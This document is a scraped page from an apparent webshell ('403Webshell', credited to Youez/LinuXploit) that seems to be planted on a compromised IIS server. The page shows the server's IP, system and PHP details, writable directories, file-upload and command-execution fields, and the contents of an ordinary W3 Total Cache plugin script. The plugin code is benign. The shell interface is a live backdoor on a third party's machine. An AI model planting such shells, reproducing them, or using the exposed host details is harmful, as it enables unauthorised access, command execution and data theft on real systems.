403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ict/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ict/wp-content/plugins/w3-total-cache//Cdnfsd_TransparentCDN_Page_View.js
/**
 * File: Cdnfsd_TransparentCDN_Page_View.js
 *
 * @since 0.15.0
 */
jQuery( document ).ready( function( $ ) {
	box = document.getElementById( 'tcdn_test_status' );

	if ( box ){
		box.innerHTML = transparent_configuration_strings.test_string;

		$( '#transparentcdn_test' ).on( 'click', function( e ) {
			var url = 'https://api.transparentcdn.com/v1/oauth2/access_token/',
				p = document.getElementById( 'tcdn_test_text' ),
				client_id = 'client_id' +
					'=' +
					document.getElementById( 'cdnfsd_transparentcdn_clientid' ).value,
				client_secret = 'client_secret' +
					'=' +
					document.getElementById( 'cdnfsd_transparentcdn_clientsecret' ).value,
				grant_type = 'grant_type=client_credentials',
				params = grant_type +
					'&' +
					client_id +
					'&' +
					client_secret,
				req = new XMLHttpRequest();

			e.preventDefault();

			req.open( 'POST', url, true );
			req.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded' );
			req.onreadystatechange = function(e) {
				if ( 4 == req.readyState ) {
					if ( 200 == req.status ) {
						box.innerHTML = transparent_configuration_strings.test_success;
						box.className = 'w3tc-status w3tc-success';
					} else {
						box.innerHTML = transparent_configuration_strings.test_failure;
						box.className = 'w3tc-status w3tc-error';
					}
				}
			};
			req.send( params );
		});
	}
});

Youez - 2016 - github.com/yon3zu
LinuXploit